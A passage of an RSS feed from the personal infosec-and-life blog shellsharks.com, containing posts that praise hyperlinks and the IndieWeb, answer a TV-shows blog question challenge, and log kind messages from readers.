        <guid isPermaLink="true">https://shellsharks.com/movies-questions-challenge</guid>
        
        <category>life</category>
        
        <category>movies</category>
        
        <category>challenge</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Hyperspacelink Travel</title>
        <shark:summary><p>Greetings weary hyper<strike>space</strike>link traveler, welcome to <mark><a href="https://shellsharks.com/"><span style="color:var(--shellsharks-color);text-decoration:underline!important;">shellsharks dot com</span></a></mark>, a world of <span class="whimsy">whimsy</span>, <mark style="background-color: color-mix(in srgb, var(--accent-color) 33%, var(--light-background-color));">infosec, technology, life</mark>, and of course, <u><a href="https://shellsharks.com/sharkweek">sharks</a></u>! Now that you’re here, have a byte and refuel, maybe partake in some inter<strike>stellar</strike>web idea <a href="/service/mailto:mike@shellsharks.com">trade</a> (e.g. <em>email me about somethin’!</em>), and when you’re ready to depart, I offer many <a href="#greatlinks">&lt;a&gt;</a> portal outward and onward, into the expanse of <strike>space</strike> the web!</p>
</shark:summary>
        <description>&lt;p&gt;Greetings weary hyper&lt;strike&gt;space&lt;/strike&gt;link traveler, welcome to &lt;mark&gt;&lt;a href=&quot;https://shellsharks.com/&quot;&gt;&lt;span style=&quot;color:var(--shellsharks-color);text-decoration:underline!important;&quot;&gt;shellsharks dot com&lt;/span&gt;&lt;/a&gt;&lt;/mark&gt;, a world of &lt;span class=&quot;whimsy&quot;&gt;whimsy&lt;/span&gt;, &lt;mark style=&quot;background-color: color-mix(in srgb, var(--accent-color) 33%, var(--light-background-color));&quot;&gt;infosec, technology, life&lt;/mark&gt;, and of course, &lt;u&gt;&lt;a href=&quot;https://shellsharks.com/sharkweek&quot;&gt;sharks&lt;/a&gt;&lt;/u&gt;! Now that you’re here, have a byte and refuel, maybe partake in some inter&lt;strike&gt;stellar&lt;/strike&gt;web idea &lt;a href=&quot;mailto:mike@shellsharks.com&quot;&gt;trade&lt;/a&gt; (e.g. &lt;em&gt;email me about somethin’!&lt;/em&gt;), and when you’re ready to depart, I offer many &lt;a href=&quot;#greatlinks&quot;&gt;&amp;lt;a&amp;gt;&lt;/a&gt; portal outward and onward, into the expanse of &lt;strike&gt;space&lt;/strike&gt; the web!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I love &lt;a href=&quot;https://www.w3.org/TR/html401/struct/links.html&quot;&gt;links&lt;/a&gt;&lt;/strong&gt;. They brought you &lt;em&gt;here&lt;/em&gt; afterall! They will &lt;em&gt;inevitably&lt;/em&gt; carry you &lt;a href=&quot;https://shellsharks.com/indieweb#explore-the-indieweb&quot;&gt;elsewhere&lt;/a&gt;… They are portals to &lt;strong&gt;worlds immeasurable&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;So yeah&lt;/em&gt;, let me tell ya, I’m a straight-up, certified, link &lt;em&gt;fiend&lt;/em&gt;! Every single day I &lt;a href=&quot;https://shellsharks.com/notes/2023/11/06/keeping-current-in-infosec&quot;&gt;scroll through my feeds&lt;/a&gt;, finding, skimming &amp;amp; bookmarking &lt;em&gt;tons&lt;/em&gt; of links. To places I want to share, to places I want to explore, to places I want to &lt;a href=&quot;https://shellsharks.com/notes/2025/02/05/save-your-links&quot;&gt;save&lt;/a&gt; and to places I will link to from this site, for your &lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;scrolling pleasure&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you’ve been around here long you &lt;u&gt;&lt;i&gt;know&lt;/i&gt;&lt;/u&gt; how much I like to link to things too. Shellsharks is unlike most places on the web in that way in my humble opinion. My &lt;a href=&quot;https://shellsharks.com/blogging-methodology#editing--enrichment&quot;&gt;system for writing&lt;/a&gt; compels me to enrich what I write with copious links, finding &lt;a href=&quot;https://libre.town/thoughts/entry_9.xhtml&quot;&gt;every opportunity&lt;/a&gt; to add context and connect elsewhere, both here on this site, and to the web beyond. Contrast that with a “normal” web site. One that has at best, a sprinkling of links on any given page, and in too many cases, has a hard time even linking to &lt;em&gt;source material&lt;/em&gt;, much less &lt;u&gt;bonus&lt;/u&gt; or extra material.&lt;/p&gt;

&lt;p&gt;Since the &lt;a href=&quot;https://web.archive.org/web/20210624051516/https://shellsharks.com/about#title&quot;&gt;beginning&lt;/a&gt;, I’ve always said “&lt;em&gt;what I publish here is a reference for myself…&lt;/em&gt;”. For me, that’s always meant adding &lt;em&gt;as much&lt;/em&gt; as I could to my writing to help me best understand the topic at hand, both at that time, and more importantly, into the future. As I do a lot of research, this naturally means linking, and giving credit to, the vast array of sites that have contributed to my own words and understanding. This site is literally a &lt;a href=&quot;https://www.buildingasecondbrain.com/&quot;&gt;second-brain&lt;/a&gt; for me in that way. For as much time as I spend elsewhere on the web, I easily spend even more time &lt;em&gt;here&lt;/em&gt;, reading stuff I’ve already written about, trying to remember something, or looking for something I’ve said in the past to share with others.&lt;/p&gt;

&lt;p&gt;Links mean a lot to me in how I use this site as a resource, and how I navigate its halls. But it also serves as a nice way to send traffic to other awesome places on the web. Places I’ve traveled and got something from, places I hope others travel to and enjoy. I know I &lt;em&gt;personally&lt;/em&gt; like to see my site linked to from elsewhere. It’s a great li’l endorphine boost!&lt;/p&gt;

&lt;p&gt;For finding stuff and generally traveling across the Internet, &lt;strong&gt;web search&lt;/strong&gt; has long ruled supreme. But as the hegemonic search providers collapse into AI summary blackholes, voids that let no &lt;strike&gt;light&lt;/strike&gt; &lt;a href=&quot;https://blog.google/products/search/generative-ai-google-search-may-2024/&quot;&gt;links escape&lt;/a&gt;, we must learn to navigate without them. (Literally, search providers have suggested removing links in search results and replacing them with only AI summaries).&lt;/p&gt;

&lt;p&gt;So yeah, &lt;a href=&quot;https://shellsharks.com/you-should-blog&quot;&gt;start a blog&lt;/a&gt;, write cool stuff, browse the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; and link to the cool articles and sites you find. Find a site or an author you &lt;em&gt;really&lt;/em&gt; like? Link to it in a &lt;a href=&quot;https://shellsharks.com/blogroll&quot;&gt;blogroll&lt;/a&gt;! Find a ton of stuff and just wanna share a bunch of links regularly? Try something &lt;a href=&quot;https://shellsharks.com/scrolls/scroll/2025-02-21#weekly&quot;&gt;like this&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Here’s a li’l list of things you &lt;a href=&quot;https://www.w3schools.com/tags/tag_a.asp&quot;&gt;can do&lt;/a&gt; with links…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Link to a cool external site &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a href=&quot;EXTERNAL LINK&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Link to other pages on your own site (relative) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a href=&quot;https://shellsharks.com/RELATIVE LINK&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;link to a section on a page (via an anchor) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a href=&quot;#ANCHOR&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Set the &lt;a href=&quot;https://www.w3schools.com/tags/att_a_referrepolicy.asp&quot;&gt;referrerpolicy&lt;/a&gt; attribute&lt;/li&gt;
  &lt;li&gt;Change how/where a link is opened via the &lt;a href=&quot;https://www.w3schools.com/tags/att_a_target.asp&quot;&gt;target&lt;/a&gt; attribute&lt;/li&gt;
  &lt;li&gt;Create a page &lt;a href=&quot;https://shellsharks.com/style#table-of-contents&quot;&gt;table of contents&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kramdown.gettalong.org/quickref.html#footnotes&quot;&gt;Footnotes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indieweb.org/Webmention&quot;&gt;Webmentions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;u&gt;Next&lt;/u&gt; and &lt;u&gt;Previous&lt;/u&gt; links as part of a &lt;a href=&quot;https://shellsharks.com/indieweb#webrings&quot;&gt;webring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://urlpoetry.club/&quot;&gt;Poetry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://silly.business/blog/bookmarklets-and-custom-url-schemes-are-criminally-underrated/&quot;&gt;URL Schemes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;greatlinks&quot;&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Because this is post all about how great links are, here’s some &lt;u&gt;great&lt;/u&gt; links…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/indieweb#explore-the-indieweb&quot;&gt;Explore the IndieWeb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/indieweb#indieweb-delights&quot;&gt;Delights of the IndieWeb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/blogroll&quot;&gt;My Blogroll&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/indieweb#my-favorite-indie-sites&quot;&gt;My Favorite Indie Sites&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile&quot;&gt;What I’m Most Proud Of&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt; - A place with &lt;em&gt;a lot&lt;/em&gt; of links to travel to!&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/linklog&quot;&gt;Linklog&lt;/a&gt; - Just a log of cool places I’ve discovered across the net.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/&quot;&gt;Infosec.pub&lt;/a&gt; - A premier Fediversian link aggregation forum.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://32bit.cafe/&quot;&gt;32-Bit Cafe&lt;/a&gt; - A community of other folks who I bet like links.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osteophage.neocities.org/writing/in-praise-of-links&quot;&gt;In Praise of Links&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://libre.town/thoughts/entry_9.xhtml&quot;&gt;The Hypertext Maximalist’s Manifesto&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks for stopping by! There’s a lot more to read &lt;a href=&quot;https://shellsharks.com/&quot;&gt;here&lt;/a&gt; if you’re interested in stayin’. Or, you can try your &lt;a href=&quot;https://wiby.me/surprise&quot;&gt;luck elsewhere&lt;/a&gt;!&lt;/p&gt;
</description>
        <pubDate>Tue, 25 Feb 2025 01:11:00 -0500</pubDate>
        <link>https://shellsharks.com/hyperlink-travel</link>
        <guid isPermaLink="true">https://shellsharks.com/hyperlink-travel</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Blog Questions Challenge: TV Shows</title>
        <shark:summary><p>Blog question challenge is back! This time, it’s all about <strong><a href="#blog-questions-challenge---tv-shows">TV Shows</a></strong>.</p>
</shark:summary>
        <description>&lt;p&gt;Blog question challenge is back! This time, it’s all about &lt;strong&gt;&lt;a href=&quot;#blog-questions-challenge---tv-shows&quot;&gt;TV Shows&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;But first&lt;/em&gt;, how did we get here?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Well&lt;/em&gt;, I &lt;a href=&quot;https://shellsharks.social/@shellsharks/114031614057050564&quot;&gt;asked the Fediverse&lt;/a&gt;…&lt;/p&gt;

&lt;blockquote class=&quot;mastodon-embed&quot; data-embed-url=&quot;https://shellsharks.social/@shellsharks/114031614057050564/embed&quot; style=&quot;background: #FCF8FF; border-radius: 8px; border: 1px solid #C9C4DA; margin: 0; max-width: 540px; min-width: 270px; overflow: hidden; padding: 0;&quot;&gt; &lt;a href=&quot;https://shellsharks.social/@shellsharks/114031614057050564&quot; target=&quot;_blank&quot; style=&quot;align-items: center; color: #1C1A25; display: flex; flex-direction: column; font-family: system-ui, -apple-system, BlinkMacSystemFont, &apos;Segoe UI&apos;, Oxygen, Ubuntu, Cantarell, &apos;Fira Sans&apos;, &apos;Droid Sans&apos;, &apos;Helvetica Neue&apos;, Roboto, sans-serif; font-size: 14px; justify-content: center; letter-spacing: 0.25px; line-height: 20px; padding: 24px; text-decoration: none;&quot;&gt; &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 79 75&quot;&gt;&lt;path d=&quot;M74.7135 16.6043C73.6199 8.54587 66.5351 2.19527 58.1366 0.964691C56.7196 0.756754 51.351 0 38.9148 0H38.822C26.3824 0 23.7135 0.756754 22.2966 0.964691C14.1319 2.16118 6.67571 7.86752 4.86669 16.0214C3.99657 20.0369 3.90371 24.4888 4.06535 28.5726C4.29578 34.4289 4.34049 40.275 4.877 46.1075C5.24791 49.9817 5.89495 53.8251 6.81328 57.6088C8.53288 64.5968 15.4938 70.4122 22.3138 72.7848C29.6155 75.259 37.468 75.6697 44.9919 73.971C45.8196 73.7801 46.6381 73.5586 47.4475 73.3063C49.2737 72.7302 51.4164 72.086 52.9915 70.9542C53.0131 70.9384 53.0308 70.9178 53.0433 70.8942C53.0558 70.8706 53.0628 70.8445 53.0637 70.8179V65.1661C53.0634 65.1412 53.0574 65.1167 53.0462 65.0944C53.035 65.0721 53.0189 65.0525 52.9992 65.0371C52.9794 65.0218 52.9564 65.011 52.9318 65.0056C52.9073 65.0002 52.8819 65.0003 52.8574 65.0059C48.0369 66.1472 43.0971 66.7193 38.141 66.7103C29.6118 66.7103 27.3178 62.6981 26.6609 61.0278C26.1329 59.5842 25.7976 58.0784 25.6636 56.5486C25.6622 56.5229 25.667 56.4973 25.6775 56.4738C25.688 56.4502 25.7039 56.4295 25.724 56.4132C25.7441 56.397 25.7678 56.3856 25.7931 56.3801C25.8185 56.3746 25.8448 56.3751 25.8699 56.3816C30.6101 57.5151 35.4693 58.0873 40.3455 58.086C41.5183 58.086 42.6876 58.086 43.8604 58.0553C48.7647 57.919 53.9339 57.6701 58.7591 56.7361C58.8794 56.7123 58.9998 56.6918 59.103 56.6611C66.7139 55.2124 73.9569 50.665 74.6929 39.1501C74.7204 38.6967 74.7892 34.4016 74.7892 33.9312C74.7926 32.3325 75.3085 22.5901 74.7135 16.6043ZM62.9996 45.3371H54.9966V25.9069C54.9966 21.8163 53.277 19.7302 49.7793 19.7302C45.9343 19.7302 44.0083 22.1981 44.0083 27.0727V37.7082H36.0534V27.0727C36.0534 22.1981 34.124 19.7302 30.279 19.7302C26.8019 19.7302 25.0651 21.8163 25.0617 25.9069V45.3371H17.0656V25.3172C17.0656 21.2266 18.1191 17.9769 20.2262 15.568C22.3998 13.1648 25.2509 11.9308 28.7898 11.9308C32.8859 11.9308 35.9812 13.492 38.0447 16.6111L40.036 19.9245L42.0308 16.6111C44.0943 13.492 47.1896 11.9308 51.2788 11.9308C54.8143 11.9308 57.6654 13.1648 59.8459 15.568C61.9529 17.9746 63.0065 21.2243 63.0065 25.3172L62.9996 45.3371Z&quot; fill=&quot;currentColor&quot; /&gt;&lt;/svg&gt; &lt;div style=&quot;color: #787588; margin-top: 16px;&quot;&gt;Post by @shellsharks@shellsharks.social&lt;/div&gt; &lt;div style=&quot;font-weight: 500;&quot;&gt;View on Mastodon&lt;/div&gt; &lt;/a&gt; &lt;/blockquote&gt;
&lt;script data-allowed-prefixes=&quot;https://shellsharks.social/&quot; async=&quot;&quot; src=&quot;https://shellsharks.social/embed.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;…and the Fediverse (&lt;em&gt;or more specifically, &lt;a href=&quot;https://dmv.community/@jcrabapple&quot;&gt;Jcrabapple&lt;/a&gt;&lt;/em&gt;) &lt;a href=&quot;https://dmv.community/@jcrabapple/114032659211378760&quot;&gt;responded&lt;/a&gt;!&lt;/p&gt;

&lt;blockquote class=&quot;mastodon-embed&quot; data-embed-url=&quot;https://dmv.community/@jcrabapple/114032659211378760/embed&quot; style=&quot;background: #FCF8FF; border-radius: 8px; border: 1px solid #C9C4DA; margin: 0; max-width: 540px; min-width: 270px; overflow: hidden; padding: 0;&quot;&gt; &lt;a href=&quot;https://dmv.community/@jcrabapple/114032659211378760&quot; target=&quot;_blank&quot; style=&quot;align-items: center; color: #1C1A25; display: flex; flex-direction: column; font-family: system-ui, -apple-system, BlinkMacSystemFont, &apos;Segoe UI&apos;, Oxygen, Ubuntu, Cantarell, &apos;Fira Sans&apos;, &apos;Droid Sans&apos;, &apos;Helvetica Neue&apos;, Roboto, sans-serif; font-size: 14px; justify-content: center; letter-spacing: 0.25px; line-height: 20px; padding: 24px; text-decoration: none;&quot;&gt; &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 79 75&quot;&gt;&lt;path d=&quot;M74.7135 16.6043C73.6199 8.54587 66.5351 2.19527 58.1366 0.964691C56.7196 0.756754 51.351 0 38.9148 0H38.822C26.3824 0 23.7135 0.756754 22.2966 0.964691C14.1319 2.16118 6.67571 7.86752 4.86669 16.0214C3.99657 20.0369 3.90371 24.4888 4.06535 28.5726C4.29578 34.4289 4.34049 40.275 4.877 46.1075C5.24791 49.9817 5.89495 53.8251 6.81328 57.6088C8.53288 64.5968 15.4938 70.4122 22.3138 72.7848C29.6155 75.259 37.468 75.6697 44.9919 73.971C45.8196 73.7801 46.6381 73.5586 47.4475 73.3063C49.2737 72.7302 51.4164 72.086 52.9915 70.9542C53.0131 70.9384 53.0308 70.9178 53.0433 70.8942C53.0558 70.8706 53.0628 70.8445 53.0637 70.8179V65.1661C53.0634 65.1412 53.0574 65.1167 53.0462 65.0944C53.035 65.0721 53.0189 65.0525 52.9992 65.0371C52.9794 65.0218 52.9564 65.011 52.9318 65.0056C52.9073 65.0002 52.8819 65.0003 52.8574 65.0059C48.0369 66.1472 43.0971 66.7193 38.141 66.7103C29.6118 66.7103 27.3178 62.6981 26.6609 61.0278C26.1329 59.5842 25.7976 58.0784 25.6636 56.5486C25.6622 56.5229 25.667 56.4973 25.6775 56.4738C25.688 56.4502 25.7039 56.4295 25.724 56.4132C25.7441 56.397 25.7678 56.3856 25.7931 56.3801C25.8185 56.3746 25.8448 56.3751 25.8699 56.3816C30.6101 57.5151 35.4693 58.0873 40.3455 58.086C41.5183 58.086 42.6876 58.086 43.8604 58.0553C48.7647 57.919 53.9339 57.6701 58.7591 56.7361C58.8794 56.7123 58.9998 56.6918 59.103 56.6611C66.7139 55.2124 73.9569 50.665 74.6929 39.1501C74.7204 38.6967 74.7892 34.4016 74.7892 33.9312C74.7926 32.3325 75.3085 22.5901 74.7135 16.6043ZM62.9996 45.3371H54.9966V25.9069C54.9966 21.8163 53.277 19.7302 49.7793 19.7302C45.9343 19.7302 44.0083 22.1981 44.0083 27.0727V37.7082H36.0534V27.0727C36.0534 22.1981 34.124 19.7302 30.279 19.7302C26.8019 19.7302 25.0651 21.8163 25.0617 25.9069V45.3371H17.0656V25.3172C17.0656 21.2266 18.1191 17.9769 20.2262 15.568C22.3998 13.1648 25.2509 11.9308 28.7898 11.9308C32.8859 11.9308 35.9812 13.492 38.0447 16.6111L40.036 19.9245L42.0308 16.6111C44.0943 13.492 47.1896 11.9308 51.2788 11.9308C54.8143 11.9308 57.6654 13.1648 59.8459 15.568C61.9529 17.9746 63.0065 21.2243 63.0065 25.3172L62.9996 45.3371Z&quot; fill=&quot;currentColor&quot; /&gt;&lt;/svg&gt; &lt;div style=&quot;color: #787588; margin-top: 16px;&quot;&gt;Post by @jcrabapple@dmv.community&lt;/div&gt; &lt;div style=&quot;font-weight: 500;&quot;&gt;View on Mastodon&lt;/div&gt; &lt;/a&gt; &lt;/blockquote&gt;
&lt;script data-allowed-prefixes=&quot;https://dmv.community/&quot; async=&quot;&quot; src=&quot;https://dmv.community/embed.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;You can follow &lt;a href=&quot;https://beep.town/@blog_challenge&quot;&gt;blog_challenge@beep.town&lt;/a&gt; to get future posts about blog challenges! Thanks &lt;a href=&quot;https://cool-as-heck.blog/blog-questions-challenge-tv-shows/&quot;&gt;Jcrabapple&lt;/a&gt;!&lt;/p&gt;

&lt;h1 id=&quot;blog-questions-challenge---tv-shows&quot;&gt;Blog Questions Challenge - “TV Shows”&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://beep.town/@blog_challenge/114032585553571824&quot;&gt;This week’s&lt;/a&gt; &lt;em&gt;Blog Questions Challenge&lt;/em&gt; is “&lt;strong&gt;TV Shows&lt;/strong&gt;”. Here are the questions…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;What TV character from a beloved show do you wish you could be best friends with in real life? [&lt;a href=&quot;#tv-friend&quot;&gt;GO&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;If you could binge-watch an entire series again for the first time, which one would you choose and why? [&lt;a href=&quot;#re-watch-a-show-for-the-first-time&quot;&gt;GO&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;Name a TV show that changed your perspective on the world or taught you something valuable. [&lt;a href=&quot;#tv-show-that-taught-me-something&quot;&gt;GO&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;…and one &lt;strong&gt;extra bonus question&lt;/strong&gt;, &lt;em&gt;how exciting&lt;/em&gt;! [&lt;a href=&quot;#bonus-tv-show-i-would-like-more-of&quot;&gt;GO&lt;/a&gt;]&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;tv-friend&quot;&gt;TV Friend&lt;/h2&gt;

&lt;p&gt;I’m goin’ &lt;strong&gt;&lt;a href=&quot;https://scrubs.fandom.com/wiki/Christopher_Turk&quot;&gt;Chris Turk&lt;/a&gt;&lt;/strong&gt; from &lt;a href=&quot;https://www.imdb.com/title/tt0285403/&quot;&gt;Scrubs&lt;/a&gt;. &lt;em&gt;What’s not to like?!&lt;/em&gt; Incredibly funny, would definitely play basketball with me, can help me with my various foot injuries, and is a fiercely loyal friend. &lt;em&gt;Easy choice&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;re-watch-a-show-for-the-first-time&quot;&gt;Re-watch a show for the first time&lt;/h2&gt;

&lt;p&gt;Truthfully, my first thought here was Scrubs, &lt;em&gt;hah&lt;/em&gt;! It’s probably my favorite show of all time. But &lt;em&gt;honestly&lt;/em&gt;, it’s as enjoyable rewatching for the &lt;em&gt;nth&lt;/em&gt; time as it was the first time, so that won’t be my choice.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Instead&lt;/em&gt;, I’m going to go with &lt;strong&gt;&lt;a href=&quot;https://www.imdb.com/title/tt0773262/&quot;&gt;Dexter&lt;/a&gt;&lt;/strong&gt;. &lt;em&gt;Look&lt;/em&gt;, the entire show wasn’t perfect, but a lot of those seasons were amazing. I’m normally a sci-fi, or fantasy, or comedy-type of TV show-watcher, but something about this show I found very compelling and perfectly suspenseful.&lt;/p&gt;

&lt;h2 id=&quot;tv-show-that-taught-me-something&quot;&gt;TV show that taught me something&lt;/h2&gt;

&lt;p&gt;This was a tough one for me. A lot of the TV shows I watch are (as I mentioned earlier) in the Sci-Fi, Fantasy or Comedy realms. Not that those can’t have teaching or world-perspective-changing qualities, but it’s just not what I am looking for when I seek the escape of TV.&lt;/p&gt;

&lt;p&gt;I do have an answer though, and &lt;em&gt;it’s kinda funny&lt;/em&gt;… &lt;strong&gt;Scrubs&lt;/strong&gt;! Maybe it’s because I’ve watched that series so many times, but I actually learned a fair bit about medical / doctor / hospital &lt;em&gt;stuff&lt;/em&gt; from that show. And I know a lot of it &lt;em&gt;is real&lt;/em&gt; as I have many friends/family members who are doctors who have said that things in that show are actually pretty on-point.&lt;/p&gt;

&lt;h2 id=&quot;bonus-tv-show-i-would-like-more-of&quot;&gt;BONUS: TV show I would like more of&lt;/h2&gt;

&lt;p&gt;As a bonus, I’m adding an extra TV show question. The question is “&lt;em&gt;Which TV show do you wish had more episodes/seasons&lt;/em&gt;”.&lt;/p&gt;

&lt;p&gt;Now this is a &lt;em&gt;gooooood&lt;/em&gt; one. As there are so many TV shows I’d like &lt;em&gt;moooarrr&lt;/em&gt; of. I love &lt;a href=&quot;https://www.imdb.com/title/tt9253284/&quot;&gt;Andor&lt;/a&gt; and &lt;a href=&quot;https://www.imdb.com/title/tt7631058/&quot;&gt;Rings of Power&lt;/a&gt;, but both of those shows are already set to come back and, give us more. So instead, I’m going to choose &lt;strong&gt;&lt;a href=&quot;https://www.imdb.com/title/tt2934286/&quot;&gt;Halo&lt;/a&gt;&lt;/strong&gt;. &lt;em&gt;I know, I know&lt;/em&gt;. Halo wasn’t the &lt;em&gt;best&lt;/em&gt; show across its two seasons, but I thought it was &lt;strong&gt;pretty good&lt;/strong&gt;. I was a Halo super-fan back in the day (&lt;em&gt;and very good if I do say so myself&lt;/em&gt;). I think that universe, and that story, has SO MUCH to offer, and would love to see it entirely explored.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks for reading!&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 21 Feb 2025 00:18:00 -0500</pubDate>
        <link>https://shellsharks.com/blog-challenge-tv-questions</link>
        <guid isPermaLink="true">https://shellsharks.com/blog-challenge-tv-questions</guid>
        
        <category>life</category>
        
        <category>tv</category>
        
        <category>blogchallenge</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Kindness</title>
        <shark:summary><p>A lot of people worry that <a href="https://shellsharks.com/notes/2024/03/13/you-have-something-to-say-someone-will-listen">no one will read their blog</a>. I did too. But it turns out, not only did people find and read what I had to say, but they were nice enough to tell me they liked it too. This post is all about that. <strong>Kindness</strong>. I’m very appreciative of everyone who has taken the time to reach out and let me know they liked something they saw on my site. Thank you! 🧡</p>
</shark:summary>
        <description>&lt;p&gt;A lot of people worry that &lt;a href=&quot;https://shellsharks.com/notes/2024/03/13/you-have-something-to-say-someone-will-listen&quot;&gt;no one will read their blog&lt;/a&gt;. I did too. But it turns out, not only did people find and read what I had to say, but they were nice enough to tell me they liked it too. This post is all about that. &lt;strong&gt;Kindness&lt;/strong&gt;. I’m very appreciative of everyone who has taken the time to reach out and let me know they liked something they saw on my site. Thank you! 🧡&lt;/p&gt;

&lt;p&gt;Below is just a log of nice things people have reached out to me and said. Some days, when I don’t feel like writing, or I’m just bummed about the world, maybe I can come here and remember everyone who I’ve helped in some small way and use it as motivation.&lt;/p&gt;

&lt;p&gt;If there’s something, or someone you appreicate out there, just send ‘em a message! I’m sure it will mean a lot to them.&lt;/p&gt;

&lt;hr width=&quot;66%&quot; /&gt;

&lt;p&gt;From Andrew (&lt;em&gt;3/9/26&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hello Mike! I was looking at examples for personal portfolios for cybersecurity, and I came across yours in a reddit and let’s just say I am very impressed with it. I thought mine was decent, but I saw yours and realized there are levels to this. I will definitely be using it as an inspiration to continue to build mine.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Paul (&lt;em&gt;3/7/26&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hi Michael, I recently came across your Threat Modeling Field Guide, and it really helped me deepen my understanding of threat modeling. Thanks for creating it!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Roel (&lt;em&gt;2/20/26&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Just wanted to say I really enjoy reading your scrolls. Love the positive vibes, curiosity and enjoyment of the (indie)web in these dark times. I hope you enjoy writing them as much as I enjoy reading them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Ana (&lt;em&gt;2/4/26&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey! I found your website, and you provide great advice for those who want to go into appsec. Thanks for that!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Eduard (&lt;em&gt;11/12/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hey Michael! I came across a Reddit post and found your blog. Spent almost 2 hours reading your stuff and the resources you recommend. Thanks for all the awesome work you share!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From David (&lt;em&gt;10/14/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;I have been reading Scrolls and Shellsharks for several months now and I very much appreciate your work. I joined the Fediverse via Mastodon a couple of years ago, but I only recently became aware of the Indieweb/Smallweb movements through sites like yours…&lt;/p&gt;

  &lt;p&gt;Your articles, and many others that you refer to, inspired me to give it another try.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;From Angel (&lt;em&gt;9/8/25&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
